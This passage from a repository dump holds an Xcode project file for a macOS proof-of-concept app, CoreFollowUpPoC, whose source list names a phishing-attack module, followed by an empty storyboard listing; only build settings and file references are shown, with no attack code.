83 | DD0D795F2593AECC0065267F /* main.m */,
84 | DD0D79612593AECC0065267F /* CoreFollowUpPoC.entitlements */,
85 | );
86 | path = CoreFollowUpPoC;
87 | sourceTree = "";
88 | };
89 | DD0D79952593B8A60065267F /* Attack */ = {
90 | isa = PBXGroup;
91 | children = (
92 | DD0D79682593B2A40065267F /* CoreFollowUp.h */,
93 | DD0D79962593B8B70065267F /* CFUPhishingAttack.h */,
94 | DD0D79972593B8B70065267F /* CFUPhishingAttack.m */,
95 | );
96 | path = Attack;
97 | sourceTree = "";
98 | };
99 | /* End PBXGroup section */
100 |
101 | /* Begin PBXNativeTarget section */
102 | DD0D794F2593AECB0065267F /* CoreFollowUpPoC */ = {
103 | isa = PBXNativeTarget;
104 | buildConfigurationList = DD0D79642593AECC0065267F /* Build configuration list for PBXNativeTarget "CoreFollowUpPoC" */;
105 | buildPhases = (
106 | DD0D794C2593AECB0065267F /* Sources */,
107 | DD0D794D2593AECB0065267F /* Frameworks */,
108 | DD0D794E2593AECB0065267F /* Resources */,
109 | );
110 | buildRules = (
111 | );
112 | dependencies = (
113 | );
114 | name = CoreFollowUpPoC;
115 | productName = CoreFollowUpPoC;
116 | productReference = DD0D79502593AECB0065267F /* CoreFollowUpPoC.app */;
117 | productType = "com.apple.product-type.application";
118 | };
119 | /* End PBXNativeTarget section */
120 |
121 | /* Begin PBXProject section */
122 | DD0D79482593AECB0065267F /* Project object */ = {
123 | isa = PBXProject;
124 | attributes = {
125 | LastSwiftUpdateCheck = 1230;
126 | LastUpgradeCheck = 1230;
127 | TargetAttributes = {
128 | DD0D794F2593AECB0065267F = {
129 | CreatedOnToolsVersion = 12.3;
130 | LastSwiftMigration = 1240;
131 | };
132 | };
133 | };
134 | buildConfigurationList = DD0D794B2593AECB0065267F /* Build configuration list for PBXProject "CoreFollowUpPoC" */;
135 | compatibilityVersion = "Xcode 9.3";
136 | developmentRegion = en;
137 | hasScannedForEncodings = 0;
138 | knownRegions = (
139 | en,
140 | Base,
141 | );
142 | mainGroup = DD0D79472593AECB0065267F;
143 | productRefGroup = DD0D79512593AECB0065267F /* Products */;
144 | projectDirPath = "";
145 | projectRoot = "";
146 | targets = (
147 | DD0D794F2593AECB0065267F /* CoreFollowUpPoC */,
148 | );
149 | };
150 | /* End PBXProject section */
151 |
152 | /* Begin PBXResourcesBuildPhase section */
153 | DD0D794E2593AECB0065267F /* Resources */ = {
154 | isa = PBXResourcesBuildPhase;
155 | buildActionMask = 2147483647;
156 | files = (
157 | DD0D795A2593AECC0065267F /* Assets.xcassets in Resources */,
158 | DD0D795D2593AECC0065267F /* Main.storyboard in Resources */,
159 | 51BAB29527DF9CEF00B2FC6D /* Resources in Resources */,
160 | );
161 | runOnlyForDeploymentPostprocessing = 0;
162 | };
163 | /* End PBXResourcesBuildPhase section */
164 |
165 | /* Begin PBXSourcesBuildPhase section */
166 | DD0D794C2593AECB0065267F /* Sources */ = {
167 | isa = PBXSourcesBuildPhase;
168 | buildActionMask = 2147483647;
169 | files = (
170 | 517AEB3627DFB06000D00075 /* LoginFlow.swift in Sources */,
171 | DD0D79602593AECC0065267F /* main.m in Sources */,
172 | DD0D79982593B8B70065267F /* CFUPhishingAttack.m in Sources */,
173 | DD0D79552593AECB0065267F /* AppDelegate.m in Sources */,
174 | );
175 | runOnlyForDeploymentPostprocessing = 0;
176 | };
177 | /* End PBXSourcesBuildPhase section */
178 |
179 | /* Begin PBXVariantGroup section */
180 | DD0D795B2593AECC0065267F /* Main.storyboard */ = {
181 | isa = PBXVariantGroup;
182 | children = (
183 | DD0D795C2593AECC0065267F /* Base */,
184 | );
185 | name = Main.storyboard;
186 | sourceTree = "";
187 | };
188 | /* End PBXVariantGroup section */
189 |
190 | /* Begin XCBuildConfiguration section */
191 | DD0D79622593AECC0065267F /* Debug */ = {
192 | isa = XCBuildConfiguration;
193 | buildSettings = {
194 | ALWAYS_SEARCH_USER_PATHS = NO;
195 | CLANG_ANALYZER_NONNULL = YES;
196 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
197 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
198 | CLANG_CXX_LIBRARY = "libc++";
199 | CLANG_ENABLE_MODULES = YES;
200 | CLANG_ENABLE_OBJC_ARC = YES;
201 | CLANG_ENABLE_OBJC_WEAK = YES;
202 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
203 | CLANG_WARN_BOOL_CONVERSION = YES;
204 | CLANG_WARN_COMMA = YES;
205 | CLANG_WARN_CONSTANT_CONVERSION = YES;
206 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
207 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
208 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
209 | CLANG_WARN_EMPTY_BODY = YES;
210 | CLANG_WARN_ENUM_CONVERSION = YES;
211 | CLANG_WARN_INFINITE_RECURSION = YES;
212 | CLANG_WARN_INT_CONVERSION = YES;
213 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
214 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
215 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
216 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
217 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
218 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
219 | CLANG_WARN_STRICT_PROTOTYPES = YES;
220 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
221 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
222 | CLANG_WARN_UNREACHABLE_CODE = YES;
223 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
224 | COPY_PHASE_STRIP = NO;
225 | DEBUG_INFORMATION_FORMAT = dwarf;
226 | ENABLE_STRICT_OBJC_MSGSEND = YES;
227 | ENABLE_TESTABILITY = YES;
228 | GCC_C_LANGUAGE_STANDARD = gnu11;
229 | GCC_DYNAMIC_NO_PIC = NO;
230 | GCC_NO_COMMON_BLOCKS = YES;
231 | GCC_OPTIMIZATION_LEVEL = 0;
232 | GCC_PREPROCESSOR_DEFINITIONS = (
233 | "DEBUG=1",
234 | "$(inherited)",
235 | );
236 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
237 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
238 | GCC_WARN_UNDECLARED_SELECTOR = YES;
239 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
240 | GCC_WARN_UNUSED_FUNCTION = YES;
241 | GCC_WARN_UNUSED_VARIABLE = YES;
242 | MACOSX_DEPLOYMENT_TARGET = 10.15;
243 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
244 | MTL_FAST_MATH = YES;
245 | ONLY_ACTIVE_ARCH = YES;
246 | SDKROOT = macosx;
247 | };
248 | name = Debug;
249 | };
250 | DD0D79632593AECC0065267F /* Release */ = {
251 | isa = XCBuildConfiguration;
252 | buildSettings = {
253 | ALWAYS_SEARCH_USER_PATHS = NO;
254 | CLANG_ANALYZER_NONNULL = YES;
255 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
256 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
257 | CLANG_CXX_LIBRARY = "libc++";
258 | CLANG_ENABLE_MODULES = YES;
259 | CLANG_ENABLE_OBJC_ARC = YES;
260 | CLANG_ENABLE_OBJC_WEAK = YES;
261 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
262 | CLANG_WARN_BOOL_CONVERSION = YES;
263 | CLANG_WARN_COMMA = YES;
264 | CLANG_WARN_CONSTANT_CONVERSION = YES;
265 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
266 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
267 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
268 | CLANG_WARN_EMPTY_BODY = YES;
269 | CLANG_WARN_ENUM_CONVERSION = YES;
270 | CLANG_WARN_INFINITE_RECURSION = YES;
271 | CLANG_WARN_INT_CONVERSION = YES;
272 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
273 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
274 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
275 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
276 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
277 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
278 | CLANG_WARN_STRICT_PROTOTYPES = YES;
279 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
280 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
281 | CLANG_WARN_UNREACHABLE_CODE = YES;
282 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
283 | COPY_PHASE_STRIP = NO;
284 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
285 | ENABLE_NS_ASSERTIONS = NO;
286 | ENABLE_STRICT_OBJC_MSGSEND = YES;
287 | GCC_C_LANGUAGE_STANDARD = gnu11;
288 | GCC_NO_COMMON_BLOCKS = YES;
289 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
290 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
291 | GCC_WARN_UNDECLARED_SELECTOR = YES;
292 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
293 | GCC_WARN_UNUSED_FUNCTION = YES;
294 | GCC_WARN_UNUSED_VARIABLE = YES;
295 | MACOSX_DEPLOYMENT_TARGET = 10.15;
296 | MTL_ENABLE_DEBUG_INFO = NO;
297 | MTL_FAST_MATH = YES;
298 | SDKROOT = macosx;
299 | };
300 | name = Release;
301 | };
302 | DD0D79652593AECC0065267F /* Debug */ = {
303 | isa = XCBuildConfiguration;
304 | buildSettings = {
305 | ASSETCATALOG_COMPILER_APPICON_NAME = icon;
306 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
307 | CLANG_ENABLE_MODULES = YES;
308 | CODE_SIGN_ENTITLEMENTS = CoreFollowUpPoC/CoreFollowUpPoC.entitlements;
309 | CODE_SIGN_IDENTITY = "-";
310 | CODE_SIGN_STYLE = Automatic;
311 | COMBINE_HIDPI_IMAGES = YES;
312 | DEVELOPMENT_TEAM = "";
313 | ENABLE_HARDENED_RUNTIME = YES;
314 | INFOPLIST_FILE = CoreFollowUpPoC/Info.plist;
315 | LD_RUNPATH_SEARCH_PATHS = (
316 | "$(inherited)",
317 | "@executable_path/../Frameworks",
318 | );
319 | MACOSX_DEPLOYMENT_TARGET = 10.15;
320 | PRODUCT_BUNDLE_IDENTIFIER = codes.rambo.experiment.CoreFollowUpPoC;
321 | PRODUCT_NAME = "$(TARGET_NAME)";
322 | SWIFT_OBJC_BRIDGING_HEADER = "CoreFollowUpPoC/UI/CoreFollowUpPoC-Bridging-Header.h";
323 | SWIFT_OPTIMIZATION_LEVEL = "-Onone";
324 | SWIFT_VERSION = 5.0;
325 | };
326 | name = Debug;
327 | };
328 | DD0D79662593AECC0065267F /* Release */ = {
329 | isa = XCBuildConfiguration;
330 | buildSettings = {
331 | ASSETCATALOG_COMPILER_APPICON_NAME = icon;
332 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
333 | CLANG_ENABLE_MODULES = YES;
334 | CODE_SIGN_ENTITLEMENTS = CoreFollowUpPoC/CoreFollowUpPoC.entitlements;
335 | CODE_SIGN_IDENTITY = "-";
336 | CODE_SIGN_STYLE = Automatic;
337 | COMBINE_HIDPI_IMAGES = YES;
338 | DEVELOPMENT_TEAM = "";
339 | ENABLE_HARDENED_RUNTIME = YES;
340 | INFOPLIST_FILE = CoreFollowUpPoC/Info.plist;
341 | LD_RUNPATH_SEARCH_PATHS = (
342 | "$(inherited)",
343 | "@executable_path/../Frameworks",
344 | );
345 | MACOSX_DEPLOYMENT_TARGET = 10.15;
346 | PRODUCT_BUNDLE_IDENTIFIER = codes.rambo.experiment.CoreFollowUpPoC;
347 | PRODUCT_NAME = "$(TARGET_NAME)";
348 | SWIFT_OBJC_BRIDGING_HEADER = "CoreFollowUpPoC/UI/CoreFollowUpPoC-Bridging-Header.h";
349 | SWIFT_VERSION = 5.0;
350 | };
351 | name = Release;
352 | };
353 | /* End XCBuildConfiguration section */
354 |
355 | /* Begin XCConfigurationList section */
356 | DD0D794B2593AECB0065267F /* Build configuration list for PBXProject "CoreFollowUpPoC" */ = {
357 | isa = XCConfigurationList;
358 | buildConfigurations = (
359 | DD0D79622593AECC0065267F /* Debug */,
360 | DD0D79632593AECC0065267F /* Release */,
361 | );
362 | defaultConfigurationIsVisible = 0;
363 | defaultConfigurationName = Release;
364 | };
365 | DD0D79642593AECC0065267F /* Build configuration list for PBXNativeTarget "CoreFollowUpPoC" */ = {
366 | isa = XCConfigurationList;
367 | buildConfigurations = (
368 | DD0D79652593AECC0065267F /* Debug */,
369 | DD0D79662593AECC0065267F /* Release */,
370 | );
371 | defaultConfigurationIsVisible = 0;
372 | defaultConfigurationName = Release;
373 | };
374 | /* End XCConfigurationList section */
375 | };
376 | rootObject = DD0D79482593AECB0065267F /* Project object */;
377 | }
378 |
--------------------------------------------------------------------------------
/CoreFollowUpPoC/Base.lproj/Main.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
673 |
674 |
675 |
676 |
677 |
678 |
679 |
680 |
681 |
682 |
683 |
684 |
685 |
--------------------------------------------------------------------------------